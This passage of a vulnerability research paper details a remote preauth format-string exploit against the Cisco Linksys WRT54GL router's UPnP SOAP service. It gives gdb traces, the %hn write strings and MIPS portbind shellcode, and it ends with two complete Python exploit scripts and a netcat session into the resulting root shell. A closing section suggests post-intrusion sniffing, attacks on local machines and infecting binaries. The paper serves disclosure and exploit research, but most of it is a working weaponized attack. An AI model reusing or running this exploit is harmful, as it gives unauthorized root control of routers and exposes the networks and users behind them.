><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service: | |
WANIPConnection:1"><NewConnectionType>IP_Routed</NewConnectionType><NewPossibleC | |
onnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTypes></m | |
:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n' | |
> FMT: IP_Routed | |
Memory content after modified PoC exploit execution is presented below. | |
(gdb) x/s 0x7fff7bd4 | |
0x7fff7bd4: "\rT" | |
(gdb) | |
0x7fff7bd7: "" | |
(gdb) | |
0x7fff7bd8: "</AAAABBBBCCCCEEEEFFFFGGXXXXAAAAAAAAXXXXIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSST" | |
(gdb) | |
0x7fff7c28: | |
(gdb) | |
0x7fff7c2b: "\020=\224" | |
Now we have controllable input that can be used as memory address reference for | |
arbitrary memory overwrite with "%hn" format string. | |
To verify that we really have write-4-anywhere primitive, we will now again | |
modify the PoC exploit, and again re-introduce the call to SetConnectionType with %hn | |
(%n half-write). | |
Format string itself is formatted as presented below (python): | |
--- | |
sendfmt = "%u" * 82 + "%.u%hn" + "%.u%.u%hn" | |
--- | |
After executing modified PoC exploit with a new format string and controllable | |
input, we will again get segmentation fault, as presented below. | |
Program received signal SIGSEGV, Segmentation fault. | |
0x2ac1068c in ?? () | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 00000200 00000200 00000231 58585858 00000200 00000231 00000000 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 1000969e 1000969d 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378 | |
sr lo hi bad cause pc | |
00000000 00000000 00000000 8005a7b8 0000000c 2ac1068c | |
fsr fir | |
00000000 00000000 | |
(gdb) x/i $pc | |
=> 0x2ac1068c: sh a2,0(a0) | |
Program will crash at 'sh a2,0(a0)' instruction. If we check MIPS architecture manual, | |
sh instruction is pretty straightforward: | |
--- | |
sh Rsrc1, imm(Rsrc2): Store Halfword | |
Store the lower 16 bits (halfword) of register Rsrc1 into memory address Rsrc2 + imm. | |
--- | |
http://www.ece.umd.edu/~manoj/759M/MIPSALM.html | |
Basically, it will try to write halfword of the 'a2' register to the memory address | |
contained in 'a0' register. If we check 'a0' register value - it is 0x58585858, and | |
that is exactly the value of the "XXXX" ASCII string from our previously introduced input. | |
That said, we can write 2 bytes anywhere in the memory. Repeat that once again, | |
and we have write-4-anywhere primitive. Game over. | |
To gain control of the PC register, we will overwrite RET address at the 0x7fff7ab4 | |
with the address of our shellcode. | |
===[ 7. PC register takeover | |
Now we know stack-pop offset where our input is located, and return address that | |
should be overwritten for PC (Program Counter) register takeover. | |
PoC exploit format string is (in python): "%u" * 82 + "%.u%hn" + "%.u%.u%hn" | |
Format string argument itself for the previously introduced format string will be sent | |
as presented below: | |
--- | |
<AAAABBBBCCCCEEEEFFFFGG''' + write_one + '''AAAAAAAA''' + write_two + '''IIJJJJKKKK | |
LLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU> | |
--- | |
- write_one is 0x7fff7ab6 | |
- write_two is 0x7fff7ab4 | |
Before any further steps, we will set breakpoint on the previously mentioned 'sh' | |
half-write instruction (address 0x2ac1068c), so we can track what is written and | |
where. | |
(gdb) x/i $pc-4 | |
0x2ac1068c: sh a2,0(a0) | |
(gdb) break *0x2ac1068c | |
Breakpoint 1 at 0x2ac1068c | |
(gdb) c | |
Continuing. | |
After that, we will run PoC exploit again. Pay attention to the 'a0' register. | |
(gdb) c | |
Continuing. | |
Breakpoint 1, 0x2ac1068c in ?? () | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 00000200 00000200 00000231 7fff7ab6 00000200 00000231 00000000 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 1000969e 1000969d 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378 | |
sr lo hi bad cause pc | |
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c | |
fsr fir | |
00000000 00000000 | |
(gdb) x/i $pc | |
=> 0x2ac1068c: sh a2,0(a0) | |
(gdb) c | |
Continuing. | |
Breakpoint 1, 0x2ac1068c in ?? () | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 00000200 00000200 00000245 7fff7ab4 00000200 00000245 00000000 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 100096a7 100096a6 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378 | |
sr lo hi bad cause pc | |
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c | |
fsr fir | |
00000000 00000000 | |
(gdb) x/i $pc | |
=> 0x2ac1068c: sh a2,0(a0) | |
(gdb) | |
So, there are two rounds of writing, first to the 0x7FFF7AB6 and second to the 0x7FFF7AB4. | |
The next step is to find complete SOAP SetConnectionType request in the memory, because that is | |
the place where our shellcode will be included, and later we will redirect code execution to | |
that address. | |
MIPS shellcode itself will not be discussed in this article, because it is a whole different | |
subject. In this case, we will use MIPS /bin/sh portbind shellcode that will bind shell | |
to the TCP port 5555. | |
MIPS portbind (TCP 5555) shellcode is presented below. | |
mipsshellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" + | |
"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73" + | |
"\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15" + | |
"\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01" + | |
"\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0" + | |
"\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30" + | |
"\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50" + | |
"\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24" + | |
"\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05" + | |
"\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73" + | |
"\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27" + | |
"\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24" + | |
"\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01" + | |
"\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f" + | |
"\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff" + | |
"\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24" + | |
"\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0" + | |
"\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68" + | |
"\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c" + | |
"\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68" | |
Our next step is to modify SetConnectionType XML request and add shellcode to it, | |
as presented below. | |
--- | |
SETSOAPREQ = '''<?xml version="1.0"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<SOAP-ENV:Body> | |
<m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as ="''' | |
+ mipsshellcode + | |
'''"> | |
<NewConnectionType>%s</NewConnectionType> | |
</m:SetConnectionType> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope>''' | |
--- | |
Now, let's find where our SOAP request and shellcode is located in the memory. | |
The easiest way to find it without much effort is to inspect current registers, and | |
memory space around their values upon program crash. | |
Within few minutes, we have located our shellcode | |
(gdb) x/100c 0x1000f1bf | |
0x1000f1bf: 58 ':' 115 's' 101 'e' 114 'r' 118 'v' 105 'i' 99 'c' 101 'e' | |
0x1000f1c7: 58 ':' 87 'W' 65 'A' 78 'N' 73 'I' 80 'P' 67 'C' 111 'o' | |
0x1000f1cf: 110 'n' 110 'n' 101 'e' 99 'c' 116 't' 105 'i' 111 'o' 110 'n' | |
0x1000f1d7: 58 ':' 49 '1' 34 '"' 32 ' ' 97 'a' 115 's' 61 '=' 32 ' ' | |
0x1000f1df: 34 '"' | |
... | |
(gdb) x/50x 0x1000f1e0 <- SHELLCODE!!!!!!! | |
0x1000f1e0: 0xe0 0xff 0xbd 0x27 0xfd 0xff 0x0e 0x24 | |
0x1000f1e8: 0x27 0x20 0xc0 0x01 0x27 0x28 0xc0 0x01 | |
0x1000f1f0: 0xff 0xff 0x06 0x28 0x57 0x10 0x02 0x24 | |
0x1000f1f8: 0x0c 0x01 0x01 0x01 0x50 0x73 0x0f 0x24 | |
0x1000f200: 0xff 0xff 0x50 0x30 0xef 0xff 0x0e 0x24 | |
0x1000f208: 0x27 0x70 0xc0 0x01 0x15 0xb3 0x0d 0x24 | |
0x1000f210: 0x04 0x68 | |
... | |
That's it. Now we have all important data for the exploit construction. | |
Memory address that will be overwritten - 0x7FFF7AB4 | |
Memory address of the shellcode - 0x1000F1E0. | |
All that's left now is to construct appropriate format string write, and that's it. | |
We're ready to go. | |
===[ 8. Gaining control over the router | |
All that's left now is to write right values to the return address memory location | |
(0x7FFF7AB4), and that's it. Location of our shellcode is 0x1000F1E0, so we will | |
construct our format string for two writes - 0x1000 to the 0x7fff7ab6 and 0xF1E0 | |
to the 0x7fff7ab4. | |
Details are presented below. | |
Two half-writes are used: | |
- write_one is 0x7fff7ab6 <- 0x1000 | |
- write_two is 0x7fff7ab4 <- 0xF1E0 | |
In other words, this: | |
sendfmt = "%u" * 82 + "%.3545u%hn" + "%.28988u%.28836u%hn" | |
So, exploit process step by step is this: | |
--- | |
1. Send "Prestage" GetConnectionType request with addresses for two | |
half-writes (0x7fff7ab6 and 0x7fff7ab4) | |
2. Prepare SetConnectionType request with shellcode included | |
3. Trigger the format string vulnerability that will overwrite return | |
address at the 0x7fff7ab4 with 0x1000F1E0, because there is our | |
portbind shellcode | |
4. Connect to the router port 5555 port to obtain shell access | |
--- | |
Now we will try our new Cisco Linksys WRT54GL exploit on the router along with the | |
gdb output step by step. | |
--- | |
E:\Phrack>python cisco_linksys_full_exploit.py | |
> Cisco Linksys WRT54GL Remote Preauth Full Exploit | |
> Leon Juranic <[email protected]> | |
> Doing prestage... | |
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap | |
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" | |
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service: | |
WANIPConnection:1"><NewConnectionType>IP_Routed</NewConnectionType><NewPossibleC | |
onnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTypes></m | |
:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n' | |
> FMT: IP_Routed | |
> Sending exploit payload... | |
Debugger details are presented below. | |
(gdb) target remote 192.168.1.1:5000 | |
Remote debugging using 192.168.1.1:5000 | |
0x2ac216f4 in ?? () | |
(gdb) c | |
Continuing. | |
warning: GDB can't find the start of the function at 0x2ac216f4. | |
Breakpoint 1, 0x2ac1068c in ?? () <=============== FIRST WRITE (a2 -> a0) | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 00000200 00000200 00001000 7fff7ab6 00000200 00001000 00000000 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 00000003 00000000 ffffffff 00000000 00000037 00000006 19999999 00000000 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 1000f3ca 1000f3c9 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378 | |
sr lo hi bad cause pc | |
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c | |
fsr fir | |
00000000 00000000 | |
(gdb) c | |
Continuing. | |
Breakpoint 1, 0x2ac1068c in ?? () <============== SECOND WRITE (a2 -> a0) | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 00000200 00000200 0000f1e0 7fff7ab4 00000200 0000f1e0 00000000 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 1000f3dd 1000f3dc 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378 | |
sr lo hi bad cause pc | |
00000000 00000000 00000000 8005a7b8 00000024 2ac1068c | |
fsr fir | |
00000000 00000000 | |
(gdb) c | |
Continuing. | |
Let's analyze PC register now. | |
^C | |
Program received signal SIGINT, Interrupt. | |
0x1000f274 in ?? () | |
(gdb) ir | |
Undefined command: "ir". Try "help". | |
(gdb) i r | |
zero at v0 v1 a0 a1 a2 a3 | |
R0 00000000 00000200 00000200 10006867 00000009 00000000 00000000 00000001 | |
t0 t1 t2 t3 t4 t5 t6 t7 | |
R8 00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000 | |
s0 s1 s2 s3 s4 s5 s6 s7 | |
R16 00000009 00000000 7fff7b60 00000001 100004e8 10007f00 1000dfe0 10007f00 | |
t8 t9 k0 k1 gp sp s8 ra | |
R24 00000057 2ac0a92c 00000000 00000000 10009190 7fff7a98 1000dfe0 1000f1e0 | |
sr lo hi bad cause pc | |
00000000 00000000 00000000 8005a7b8 00000020 1000f274 <=== BOOOOM!!!! | |
fsr fir | |
00000000 00000000 | |
(gdb) | |
That's it. We have full control over the PC register, and our shellcode is | |
executed. Let's connect to our deserved root shell on our Cisco Linksys WRT54GL | |
router. | |
[root@defensecode linksys]# nc 192.168.1.1 5555 | |
ls | |
proc | |
mnt | |
dev | |
var | |
tmp | |
lib | |
bin | |
www | |
sbin | |
etc | |
usr | |
cat /proc/cpuinfo | |
system type : Broadcom BCM947XX | |
processor : 0 | |
cpu model : BCM3302 V0.8 | |
BogoMIPS : 199.47 | |
wait instruction : no | |
microsecond timers : yes | |
tlb_entries : 32 | |
extra interrupt vector : no | |
hardware watchpoint : no | |
VCED exceptions : not available | |
VCEI exceptions : not available | |
unaligned_instructions : 5 | |
dcache hits : 821316329 | |
dcache misses : 3717232290 | |
icache hits : 3192629433 | |
icache misses : 2838526887 | |
instructions : 0 | |
ls -al /tmp | |
drwxr-xr-x 1 0 0 0 Jan 1 2000 var | |
lrwxrwxrwx 1 0 0 8 Jan 1 00:00 ldhclnt -> /sbin/rc | |
drwx------ 1 0 0 0 Jan 1 00:00 cron.d | |
-rw-r--r-- 1 0 0 8 Jan 1 00:00 action | |
-rw-r--r-- 1 0 0 40 Jan 1 00:00 nas.lan.conf | |
-rw-r--r-- 1 0 0 27 Jan 1 00:00 ses.log | |
lrwxrwxrwx 1 0 0 8 Jan 1 00:00 udhcpc -> /sbin/rc | |
-rw-r--r-- 1 0 0 1 Jan 1 00:00 udhcpc.expires | |
-rw-r--r-- 1 0 0 33 Jan 1 00:00 nas.wan.conf | |
-rwxr-xr-x 1 0 0 133528 Jan 1 00:00 gdbserver | |
drwxr-xr-x 1 0 0 72 Jun 20 2006 .. | |
drwxr-xr-x 1 0 0 0 Jan 1 2000 . | |
ifconfig: not found | |
/sbin/ifconfig | |
br0 Link encap:Ethernet | |
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 | |
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | |
RX packets:776 errors:0 dropped:0 overruns:0 frame:0 | |
TX packets:488 errors:0 dropped:0 overruns:0 carrier:0 | |
collisions:0 txqueuelen:0 | |
RX bytes:209889 (204.9 kb) TX bytes:49555 (48.3 kb) | |
eth0 Link encap:Ethernet | |
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | |
RX packets:777 errors:0 dropped:0 overruns:0 frame:0 | |
TX packets:535 errors:0 dropped:0 overruns:0 carrier:0 | |
collisions:0 txqueuelen:100 | |
RX bytes:227029 (221.7 kb) TX bytes:79425 (77.5 kb) | |
Interrupt:4 Base address:0x1000 | |
eth1 Link encap:Ethernet | |
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | |
RX packets:0 errors:0 dropped:0 overruns:0 frame:10406 | |
TX packets:427 errors:7 dropped:0 overruns:0 carrier:0 | |
collisions:0 txqueuelen:100 | |
RX bytes:0 (0.0 b) TX bytes:73525 (71.8 kb) | |
Interrupt:2 Base address:0x5000 | |
lo Link encap:Local Loopback | |
inet addr:127.0.0.1 Mask:255.0.0.0 | |
UP LOOPBACK RUNNING MULTICAST MTU:16436 Metric:1 | |
RX packets:0 errors:0 dropped:0 overruns:0 frame:0 | |
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 | |
collisions:0 txqueuelen:0 | |
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) | |
vlan0 Link encap:Ethernet | |
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | |
RX packets:777 errors:0 dropped:0 overruns:0 frame:0 | |
TX packets:488 errors:0 dropped:0 overruns:0 carrier:0 | |
collisions:0 txqueuelen:0 | |
RX bytes:213043 (208.0 kb) TX bytes:51507 (50.2 kb) | |
vlan1 Link encap:Ethernet | |
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | |
RX packets:0 errors:0 dropped:0 overruns:0 frame:0 | |
TX packets:47 errors:0 dropped:0 overruns:0 carrier:0 | |
collisions:0 txqueuelen:0 | |
RX bytes:0 (0.0 b) TX bytes:27918 (27.2 kb) | |
That's it. We have obtained root shell on Cisco Linksys WRT54GL router. | |
===[ 9. Post-intrusion fun | |
Now you can do anything that you want on the router. Install some sniffer, | |
attack other computers in local network, infect binaries transmitted over the | |
network, or play ncurses version of space invaders. | |
Like for example - basic ncurses space-invaders like game that I coded just for | |
fun 10 years ago. Cross-compile the game, upload to the hacked router and you can play | |
space-invaders on someone's router. :) | |
===[ 10. Greetz & Shouts | |
Thanks to Vedran Kajic, Davor Serfez and K0st for various things about this paper. | |
Also, thanks to HD Moore for vulnerable router manufacturers data. | |
Thanks to Ana Hanzek for lectoring. :) | |
===[ 11. About DefenseCode | |
DefenseCode L.L.C. delivers products and services designed to analyze | |
and test web, desktop and mobile applications for security vulnerabilities. | |
DefenseCode ThunderScan is a SAST (Static Application Security Testing, | |
WhiteBox Testing) solution for performing extensive security audits of | |
application sourcecode. | |
ThunderScan performs fast and accurate analyses of large and complex | |
source code projects delivering precise results and low false positive | |
rate. | |
DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, | |
BlackBox Testing) solution for comprehensive security audits of active | |
web applications. | |
WebScanner will test a website's security by carrying out a large number | |
of attacks using the most advanced techniques, just as a real attacker | |
would. | |
Subscribe for free software trial on our website | |
http://www.defensecode.com/ | |
E-mail: defensecode[at]defensecode.com | |
Website: http://www.defensecode.com/ | |
Twitter: https://twitter.com/DefenseCode/ | |
===[ Cisco Linksys WRT54GL Exploit | |
cisco_linksys_full_exploit.py | |
======== | |
# | |
# | |
# Cisco Linksys WRT54GL Remote Preauth 0day Exploit | |
# - Leon Juranic / DefenseCode <[email protected]> | |
# | |
# | |
import socket | |
import sys | |
import re | |
HOST = '192.168.1.1' # The remote host | |
PORT = 5431 # SOAP | |
write_one = ("\xB6\x7A\xFF\x7F"); | |
write_two = ("\xB4\x7A\xFF\x7F"); | |
mipsshellcode = ("\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" | |
"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73" | |
"\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15" | |
"\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01" | |
"\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0" | |
"\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30" | |
"\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50" | |
"\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24" | |
"\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05" | |
"\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73" | |
"\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27" | |
"\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24" | |
"\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01" | |
"\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f" | |
"\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff" | |
"\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24" | |
"\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0" | |
"\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68" | |
"\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c" | |
"\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68") | |
GETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1 | |
SOAPAction: "urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo" | |
Host: %s:5431' | |
Content-Type: text/xml | |
Content-Length: %d''' | |
SETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1 | |
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType" | |
Host: %s:5431 | |
Content-Type: text/xml | |
Content-Length: %d''' | |
GETSOAPPRESTAGE = '''<?xml version="1.0"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<SOAP-ENV:Body>AAAAAAAAAAAAAAAAAAAAAA | |
<AAAABBBBCCCCEEEEFFFFGG''' + write_one + '''AAAAAAAA''' + write_two + '''IIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU> | |
<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> | |
</m:GetConnectionTypeInfo> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope>''' | |
SETSOAPREQ = '''<?xml version="1.0"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<SOAP-ENV:Body> | |
<m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as= "%s"> | |
<NewConnectionType>%s</NewConnectionType> | |
</m:SetConnectionType> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope>''' | |
def Prestage_GetConnectionTypeInfo(): | |
HTTPREQ = GETHTTPSTR % (HOST, GETSOAPPRESTAGE.__len__()) | |
HTTPSEND = HTTPREQ + "\n\n" + GETSOAPPRESTAGE + "\n" | |
#print HTTPSEND | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((HOST, PORT)) | |
except: | |
print "Cannot connect to the target port..." | |
exit(-1) | |
s.sendall(HTTPSEND) | |
data = s.recv(10000) | |
data = s.recv(10000) | |
print '> Received', repr(data) | |
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data) | |
if rematch: | |
print "> FMT: " + rematch.group(1) | |
def SetConnectionType(FMTSTRING): | |
SENDSOAP = SETSOAPREQ % (mipsshellcode,FMTSTRING) | |
HTTPREQ = SETHTTPSTR % (HOST, SENDSOAP.__len__()) | |
HTTPSEND = HTTPREQ + "\n\n" + SENDSOAP + "\n" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((HOST, PORT)) | |
except: | |
print "> Cannot connect to the target port..." | |
exit(-1) | |
#print HTTPSEND | |
s.sendall(HTTPSEND) | |
data = s.recv(10000) | |
data = s.recv(10000) | |
print '> Recv: ', repr(data) + "\n" | |
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data) | |
if rematch: | |
print "> FMT RESPONSE: " + rematch.group(1) | |
print "> Cisco Linksys WRT54GL Remote Preauth Full Exploit" | |
print "> Leon Juranic <[email protected]>\n" | |
# This will do the trick... | |
print "> Doing prestage..." | |
Prestage_GetConnectionTypeInfo() | |
#0x1000F1E0. | |
sendfmt = "%u" * 82 + "%.3545u%hn" + "%.28988u%.28836u%hn" | |
print "> Sending exploit payload..." | |
SetConnectionType(sendfmt) | |
print "> Done." | |
======== | |
cisco_linksys_poc.py | |
======== | |
# | |
# | |
# Cisco Linksys WRT54GL Remote Preauth 0day Exploit | |
# - Leon Juranic / DefenseCode <[email protected]> | |
# | |
# | |
import socket | |
import sys | |
import re | |
HOST = '192.168.1.1' # The remote host | |
PORT = 5431 # SOAP | |
GETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1 | |
SOAPAction: "urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo" | |
Host: %s:5431' | |
Content-Type: text/xml | |
Content-Length: %d''' | |
SETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1 | |
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType" | |
Host: %s:5431 | |
Content-Type: text/xml | |
Content-Length: %d''' | |
GETSOAPREQ = '''<?xml version="1.0"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<SOAP-ENV:Body> | |
<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"></m:GetConnectionTypeInfo> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope>''' | |
SETSOAPREQ = '''<?xml version="1.0"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<SOAP-ENV:Body> | |
<m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as=""> | |
<NewConnectionType>%s</NewConnectionType> | |
</m:SetConnectionType> | |
</SOAP-ENV:Body> | |
</SOAP-ENV:Envelope>''' | |
def GetConnectionTypeInfo(): | |
HTTPREQ = GETHTTPSTR % (HOST, GETSOAPREQ.__len__()) | |
HTTPSEND = HTTPREQ + "\n\n" + GETSOAPREQ + "\n" | |
#print HTTPSEND | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((HOST, PORT)) | |
except: | |
print "Cannot connect to the target port..." | |
exit(-1) | |
s.sendall(HTTPSEND) | |
data = s.recv(10000) | |
data = s.recv(10000) | |
print '> Received', repr(data) | |
rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data) | |
if rematch: | |
print "> FMT: " + rematch.group(1) | |
def SetConnectionType(FMTSTRING): | |
HTTPREQ = SETHTTPSTR % (HOST, SETSOAPREQ.__len__()) | |
SENDSOAP = SETSOAPREQ % (FMTSTRING) | |
HTTPSEND = HTTPREQ + "\n\n" + SENDSOAP + "\n" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((HOST, PORT)) | |
except: | |
print "> Cannot connect to the target port..." | |
exit(-1) | |
s.sendall(HTTPSEND) | |
data = s.recv(10000) | |
data = s.recv(10000) | |
print '> Recv: ', repr(data) + "\n" | |
